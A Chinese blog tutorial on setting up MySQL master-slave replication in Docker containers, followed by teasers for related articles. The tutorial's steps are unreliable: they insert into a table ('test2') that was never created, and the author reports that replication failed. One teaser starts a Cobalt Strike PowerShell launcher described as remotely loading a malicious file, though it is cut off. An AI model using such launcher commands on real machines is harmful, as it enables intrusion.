使用docker安装mysql主从集群

news2024/9/22 13:42:44

1.安装MySQL主容器

1.1首先,使用以下命令创建MySQL主容器:

sudo docker run --name mysql-master -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:latest

在这里,使用了Docker官方提供的MySQL镜像,并且使用了MySQL的默认3306端口。--name表示给该主容器设置一个名字,-p表示设置端口,-e选项用于设置MySQL的root密码,-d表示后台运行该容器。

然后使用sudo docker ps -a查看该进程

1.2配置MySQL主容器

使用以下步骤配置MySQL主容器:

1.2.1.连接MySQL主容器

使用以下命令连接到MySQL主容器:

sudo docker exec -it mysql-master bash

1.2.2.创建数据库和用户

在连接到MySQL主容器后,使用以下命令创建一个名为mydb的数据库,并创建一个名为myuser的用户:

mysql -uroot -p123456 -e "create database mydb;"

mysql -uroot -p123456 -e "create user 'myuser'@'%' identified by 'mypassword';"

mysql -uroot -p123456 -e "grant all privileges on mydb.* to 'myuser'@'%';"

结果如下: 

1.2.3.启用二进制日志

使用以下命令启用MySQL主容器的二进制日志功能:

mysql -uroot -p123456 -e "set global log_bin_trust_function_creators=1;"
mysql -uroot -p123456 -e "set global binlog_format='ROW';"
mysql -uroot -p123456 -e "set global server_id=1;"
mysql -uroot -p123456 -e "set global log_bin='/var/lib/mysql/mysql-bin.log';"
mysql -uroot -p123456 -e "flush logs;"

结果如下:

 在上面的命令中,设置了二进制日志文件的位置为/var/lib/mysql/mysql-bin.log。

2.安装MySQL从容器

2.1接下来,使用以下命令创建MySQL从容器,并将它们连接到MySQL主容器:

sudo docker run --name mysql-slave1 -p 3307:3306 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:latest
sudo docker run --name mysql-slave2 -p 3308:3306 -e MYSQL_ROOT_PASSWORD=123456 -d mysql:latest

结果如下图: 

 在上面的命令中,创建了两个MySQL从容器,使用了3307和3308端口,并设置了相同的MySQL root密码。

2.2配置MySQL从容器

使用以下步骤配置MySQL从容器:

2.2.1.连接MySQL从容器

使用以下命令连接到MySQL从容器:

sudo docker exec -it mysql-slave1 bash

创建库和用户

mysql -uroot -p123456 -e "create database mydb;"

mysql -uroot -p123456 -e "create user 'myuser'@'%' identified by 'mypassword';"

mysql -uroot -p123456 -e "grant all privileges on mydb.* to 'myuser'@'%';"

2.2.2.启用主从复制

在连接到MySQL从容器后,使用以下命令配置MySQL从容器的主从复制:

mysql -uroot -p123456 -e "change master to master_host='mysql-master', master_user='myuser', master_password='mypassword', master_port=3306, master_log_file='mysql-bin.000001', master_log_pos=154;"
mysql -uroot -p123456 -e "start slave;"

结果如下:

在上面的命令中,设置了MySQL主容器的IP地址,用户名和密码,端口,二进制日志文件名和位置以及复制的起始位置。最后,使用start slave命令启动主从复制。

2.2.3.重复上述步骤

使用exit退出当前bash,然后重复上述步骤:

使用以下命令连接到MySQL从容器:

sudo docker exec -it mysql-slave2 bash

创建库和用户

mysql -uroot -p123456 -e "create database mydb;"

mysql -uroot -p123456 -e "create user 'myuser'@'%' identified by 'mypassword';"

mysql -uroot -p123456 -e "grant all privileges on mydb.* to 'myuser'@'%';"

在mysql-slave2容器中配置主从复制

sudo docker exec -it mysql-slave2 bash
mysql -uroot -p123456 -e "change master to master_host='mysql-master', master_user='myuser', master_password='mypassword', master_port=3306, master_log_file='mysql-bin.000001', master_log_pos=154;"
mysql -uroot -p123456 -e "start slave;"

结果如下:

3.测试主从复制

3.1现在,可以测试MySQL主从复制是否正常工作。在MySQL主容器中,使用以下命令创建一个名为test的表:

sudo docker exec -it mysql-master bash然后

mysql -uroot -p123456 -e "use mydb; create table test (id int(11) not null auto_increment, name varchar(255), primary key (id)); insert into test2 (name) values ('test');"

 

 3.2然后,在mysql-slave1和mysql-slave2容器中检查是否已复制数据:

sudo docker exec -it mysql-slave1 bash
mysql -uroot -p123456 -e "use mydb; select * from test;"
exit

sudo docker exec -it mysql-slave2 bash
mysql -uroot -p123456 -e "use mydb; select * from test;"
exit

如果数据正确地复制到从容器中,则主从复制已成功完成。

实际结果,问题来了,从1和从2机器没有自动生成表,更不用说测试数据了。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/713983.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

浅谈自动化测试框架开发,有你们不会知道的吗?

在自动化测试项目中,为了实现更多功能,我们需要引入不同的库、框架。 首先,你需要将常用的这些库、框架都装上。 pip install requests pip install selenium pip install appium pip install pytest pip install pytest-rerunfailures pip …

以中非经贸连线,看星沙如何练就一流营商环境

不知不觉,“一带一路”倡议提出已有十年,回望过去十年间,在“一带一路”倡议推动下,中国与各国合作共识不断凝聚,国际感召力持续增强,共建“一带一路”的朋友圈持续扩大,遍布亚、欧、非等五大洲…

往数据库插入数据时出现了多条重复数据

业务场景 钉钉端发起审批流程后,会回调开发者后台的callback接口,然后callback接口逻辑处理时会对一些数据做入库处理,但是突然发现数据库中出现了很多重复的数据 问题发现 业务代码进行断点,发现并无异常,就是一条…

探索思维导图:提升思维能力与效率的利器

思维导图作为一种强大的思考工具,已经被广泛应用于各个领域,从学习、工作到创意思维和项目管理。 本文将为您介绍思维导图的基本概念、使用方法以及它对思维能力和效率提升的价值。通过学习和掌握思维导图,您将能够更系统地组织和表达您的思…

scss中写3元运算

为真选第1个参数,为假选第2个参数 前端基础——sass的使用_sass 三元运算_ccopcx的博客-CSDN博客

LabVIEW进行临床肝透析试验

LabVIEW进行临床肝透析试验 慢性肾衰竭患者可以在透析或肾移植的帮助下大大延长其预期寿命。肝病患者需要与透析相当的治疗作为肝移植的替代方案。肾透析可清除患者血液中的水基毒素,肝脏透析需要消除与蛋白质相关的毒素。 为了降低肝病患者的高死亡率&#xff0c…

JNPF可视化平台的搭建及使用

目录 一、前言 二、可视化平台介绍 三、搭建可视化平台 【表单设计】 【报表设计】 【流程设计】 【代码生成器】 四、使用可视化平台 前后端分离: 多数据源: 预置功能: 私有化部署: 五、总结 一、前言 可视化低代码平台是一种快速…

项目打包exe文件

1。先准备exe4j VM Parameters后面要写上 -Dfile.encodingutf-8 不是很重要 因为是springboot项目在打包成exe的时候会出现不能运行的问题 所以在Main class from Class Path这里填(org.springframework.boot.loader.JarLauncher) 这样打包就好了

Android View 事件派发流程

原文链接 Android View 事件派发流程 自从乔帮主横空出世推出了iPhone以来,触控式的操作便成了21世纪智能设备的标准输入方式。对于同是智能操作系统的Android来说,也不例外。事件,特别是触控事件对于移动应用程序开发来说是一个非常重要的&…

Docker容器中应用部署

Docker应用部署 在Docker容器中部署MySQL,并通过外部的mysql客户端操作MySQL Server 一、Mysql部署 端口映射 容器内的网络服务和外部机器不能直接通信外部机器和宿主机可以通信宿主机和容器可以直接通信当容器中的网络服务需要被外部访问的时候,可以把…

语音识别模型whisper的参数说明

一、whisper简介: Whisper是一种通用的语音识别模型。它是在各种音频的大型数据集上训练的,也是一个多任务模型,可以执行多语言语音识别、语音翻译和语言识别。 二、whisper的参数 1、-h, --help 查看whisper的参数 2、--model {tiny.en…

分布式锁及实现方式

一、背景 什么是锁? 在单进程的系统中,当存在多个线程可以同时改变某个变量(可变共享变量)时,就需要对变量或代码块做同步,使其在修改这种变量时能够线性执行消除并发修改变量。而同步的本质是通过锁来实…

cobaltstrike使用

./teamserver 192.168.137.4 # 启动服务端 ./cobaltstrike # 启动客户端先创建一个监听Listener 1. exe 生成exe文件后,传给靶机,让其执行 2. powershell 在靶机中执行下面这段代码即可,就是远程恶意文件加载 powershell.exe -nop -w hi…

flask +vue3 cas 单点登录(sso)

最近在研究前端vue3ts 后端使用flask 搭建的系统涉及到单点登录问题,这里进行一次总结。 关于cas 单点登录的逻辑,网上介绍的很详细,我这里就说说,我所理解的单点登录: 主要是2种情形: 1.通过平台登录之后 调用子系…

[Qt 教程之Widgets模块] —— QFontComboBox 字体选择器

Qt系列教程总目录 文章目录 3.2.1 创建 QFontComboBox3.2.2 成员函数1. 书写系统2. 字体过滤器3. 当前字体4. 信号 该控件用于选择字体,在一些软件中经常有类似控件,如下: Microsoft Office: Photoshop: QFontComboB…

1759_C语言中冒泡排序的实现以及新编译环境测试

全部学习汇总: GreyZhang/c_basic: little bits of c. (github.com) 最近在重新学习C语言的数据结构,找了一份国外的电子书一点点看。刚刚学完双向链表,接下来的任务是搞定几个常用的排序。 冒泡排序还算是我比较熟悉的,工作之后…

Java数据结构和算法-----数组

1、Java数组介绍 在Java中,数组是用来存放同一种数据类型的集合,注意只能存放同一种数据类型(Object类型数组除外)。 ①、数组的声明 第一种方式: 1 数据类型 [] 数组名称 new 数据类型[数组长度]; 这里 [] 可以放在数组名称的前面&#…

Idea整合Maven安装及配置教程(图文详解)

目录 友情提醒第一章、Maven概述1.1)Maven是什么1.2)Maven进行构建(build)的主要环节 第二章、Maven的下载安装和配置2.1)Maven的下载2.2)Maven环境变量配置2.3)Maven文件setting的配置 第三章、…

python+selenium自动化测试学习—手动搭建selenium环境

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 pythonselenium自动化测试学习—手动搭建selenium环境 一、简介二、安装selenium三、下载浏览器驱动四、搭建selenium环境 一、简介 selenium是一个免费开源的,仅…

FOC-滑膜控制器SMC/滑膜观测器SMO

目录 前面 滑膜速度控制器 控制器所处位置 理论设计 模型搭建 滑膜观测器 基本原理 反正切函数 锁相环 滑膜观测器模型(反正切) 滑膜观测器C代码实现 SMO.c SMO.h 前面 滑膜常见用处有两个: 1、作为滑膜控制器SMC,…